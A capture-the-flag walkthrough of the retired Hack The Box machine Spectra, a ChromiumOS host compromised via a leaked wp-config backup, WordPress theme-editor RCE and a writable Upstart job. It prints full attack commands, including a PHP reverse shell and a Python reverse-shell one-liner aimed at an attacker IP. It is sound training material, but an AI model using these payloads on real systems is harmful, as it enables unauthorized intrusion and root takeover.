root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat spectra.md
// writeups

Spectra

27 Feb 2021 · 12 min read
Spectra - maquina de Hack The Box

Executive summary — Spectra is an interesting Easy box because it doesn't run a standard Linux, but ChromiumOS. A forgotten directory listing at /testing/ exposes wp-config.php.save, a leftover backup with the database credentials. Those credentials don't work against MySQL remotely (the server restricts the source host), but the admin reuses them as their WordPress account password: we log into the panel and edit an inactive theme's 404.php template for RCE. With LinPEAS we find a ChromiumOS-specific autologin file holding katie's password in plaintext (SSH, user.txt). katie can run /sbin/initctl via sudo —the Upstart job manager, which isn't listed on GTFOBins— and the test job /etc/init/test.conf is editable: we inject a payload that runs as root. Path: wp-config.save -> WP RCE -> autologin -> katie -> initctl -> root.

PlatformHack The Box
Operating systemLinux (ChromiumOS)
DifficultyEasy
StatusRetired
Target IP10.10.10.229

Attack map

[80] /testing/ with directory listing -> wp-config.php.save (DB creds)
   |  the DB refuses remote connections, but the admin reuses that
   |  password on WordPress
   v
[WP admin]  edit 404.php on an inactive theme -> reverse shell (www-data)
   |  ChromiumOS (not standard Linux) -> LinPEAS -> plaintext autologin
   |  passwd file -> katie password
   v
[SSH]  katie  (user.txt)
   |  sudo NOPASSWD /sbin/initctl (Upstart, not on GTFOBins) ->
   |  editable /etc/init/test.conf job
   v
[ROOT]  inject reverse shell into the job -> initctl start test

1. Nmap reconnaissance

Before running a heavy scan with version detection and scripts, it's worth quickly finding which ports are open, to avoid scanning all 65535 with -sC -sV (much slower):

sudo nmap -p- --min-rate=10000 -oA allports 10.10.10.229 -v

-p- sweeps all 65535 TCP ports; --min-rate=10000 forces a high send rate (more false negatives on high-latency networks, but works fine on HTB); -oA saves the output in all three formats with the given prefix.

With the list of open ports (22, 80, 3306), we run a detailed scan against just those:

sudo nmap -sC -sV -Pn -T4 -p22,80,3306 10.10.10.229 -oN nmap_detailed.txt
PortServiceDetail
22SSHOpenSSH
80HTTPWeb server
3306MySQLDatabase, restricted access

Without credentials yet for either SSH or MySQL, the entry vector can only be port 80.

2. Web enumeration

Visiting the IP directly may redirect to an internal hostname, so we map it by hand:

echo "10.10.10.229 spectra.htb" | sudo tee -a /etc/hosts

At http://spectra.htb there are two links: a software issue tracker (which needs the hostname resolved to work) and a testing link. The issue tracker redirects to /main, a WordPress site whose welcome post («Hello World») confirms the author is the administrator user —worth noting for a possible login.

Before reaching for automated tools it's worth exploring links manually. The testing one returns a telling error:

Error establishing a database connection

The URL loads an index.php inside /testing. Instead of pushing on that file, we try visiting just the directory:

curl -s http://spectra.htb/testing/

Finding: directory listing is enabled and exposes internal WordPress files —something that should never be visible from the outside. Among them, wp-config.php.save.

3. Leaked credentials

It's common for a text editor (vim, nano with autosave) to leave a backup copy with a .save extension when editing a file. The server doesn't interpret that extension as PHP, so it serves it as plaintext instead of executing it; the browser, however, hides the <?php ... ?> tags when rendering and the page looks empty. We view the page source instead (or go straight through the terminal):

curl -s http://spectra.htb/testing/wp-config.php.save

We get the full wp-config.php, with DB_NAME, DB_USER, DB_PASSWORD and DB_HOST. We try those credentials directly against MySQL:

mysql -u <user> -p -h 10.10.10.229
Host '<ATTACKER_IP>' is not allowed to connect to this MySQL server

MySQL only accepts connections from localhost or specific internal IPs: the credential doesn't work remotely. We don't discard it, though —password reuse is a very common pattern.

4. Exploiting WordPress

In parallel we launch a surface scan of the WordPress install (version, plugins, themes):

wpscan --url http://spectra.htb/main/ --detection-mode aggressive --plugins-detection aggressive -o wpscan_result.txt

While that runs in the background, we test credential reuse directly on the login form:

# http://spectra.htb/main/wp-login.php
User: administrator
Password: <the one from wp-config.php.save>

Access granted. The admin reused the database password as their WordPress account password.

5. Foothold — reverse shell via theme editor

With admin access there are two typical paths to RCE: upload a malicious plugin, or edit a template directly on an inactive theme, to avoid breaking the live site. We go to Appearance -> Theme Editor, pick an inactive theme (twentynineteen) and replace 404.php with PentestMonkey's reverse shell, pointed at our IP:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O 404-shell.php
# edit inside the file:
$ip = '<ATTACKER_IP>';   // HTB VPN IP
$port = 4444;          // listening port

We paste the content into WordPress's theme editor, over twentynineteen's 404.php, and save with Update File. Before triggering the shell, we set up the listener:

nc -nlvp 4444

And force its execution by visiting the modified template:

curl http://spectra.htb/main/wp-content/themes/twentynineteen/404.php

We catch the connection on nc: a shell as the web server user. We identify the system:

cat /etc/os-release

The system is ChromiumOS, unusual on HTB: it implies different paths, available binaries and behavior compared to a traditional Linux (confirmed later with initctl/Upstart instead of systemd). We stabilize the shell with a pseudo-TTY:

python2.7 -c 'import pty; pty.spawn("/bin/bash")'

6. Post-exploitation enumeration

To automate the search for a privilege-escalation vector we use LinPEAS. On the attacking machine we serve the script:

python3 -m http.server 8000

And on the victim we download it into a world-writable directory (/tmp):

cd /tmp
wget http://<ATTACKER_IP>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

tee shows the output live while also saving it to a file, useful because LinPEAS output is usually very long to review.

Among the findings is an unusual passwd file, inside a path related to ChromiumOS's autologin (the feature that logs in automatically without prompting for credentials):

find / -iname "*autologin*" 2>/dev/null
cat /found/path/passwd

The file holds a plaintext password.

7. Lateral movement — user katie

We filter system users with a valid shell (excluding service accounts with /nologin or /false) to get real candidates:

cat /etc/passwd | grep -E "sh$"

We try the leaked password over SSH:

ssh katie@10.10.10.229
cat /home/katie/user.txt

Access granted as katie.

8. Privilege escalation to root

Every new user means repeating enumeration: privileges differ. We start with sudo:

sudo -l
User katie may run the following commands on spectra:
    (root) NOPASSWD: /sbin/initctl

initctl isn't listed on GTFOBins (https://gtfobins.github.io/gtfobins/initctl/): it's an uncommon binary, tied to ChromiumOS's Upstart init system, so it needs manual investigation.

sudo /sbin/initctl --help
sudo /sbin/initctl list

It manages Upstart jobs defined in configuration files. We check what it can run:

ls -la /etc/init/

There's a test job, test.conf, that turns out to be writable:

ls -la /etc/init/test.conf

If the file is writable by katie (or her group), we can inject our own payload inside the job's script ... end script block. Since initctl starts it via passwordless sudo, the payload runs as root.

nano /etc/init/test.conf
python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

The socket connects to our IP on port 4444; os.dup2() redirects the process's stdin/stdout/stderr onto that socket, and subprocess.call spawns an interactive shell over that connection. We set up the listener and run the job:

nc -nlvp 4444
sudo /sbin/initctl start test

The test process starts with root privileges (authorized via passwordless sudo) running our payload, and we catch the connection on the listener already as root:

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Web/testing/Directory listing + leftover wp-config.php.saveDB credentials (invalid remotely)
FootholdWordPressDB password reuse -> theme editor (RCE)Shell as the web server user
Post-exploitationChromiumOS autologinPlaintext passwd fileSSH as katie (user.txt)
PrivEscsudo /sbin/initctlEditable Upstart job run as rootRoot (root.txt)

Lessons learned

  • Explore directories, not just endpoints: if a URL loads an index.php inside a subdirectory, also visit the directory itself —it may have listing enabled.
  • Leftover editor files (.save, .bak, .swp, ~): editors leave automatic copies that the server serves without executing; always delete them after editing in production.
  • Don't reuse passwords: the database one shouldn't also work on the admin panel or the system.
  • Unknown sudo = investigate it: if sudo -l reveals a binary that isn't on GTFOBins, probe it with --help/man and check which files it uses; the escalation vector is usually there.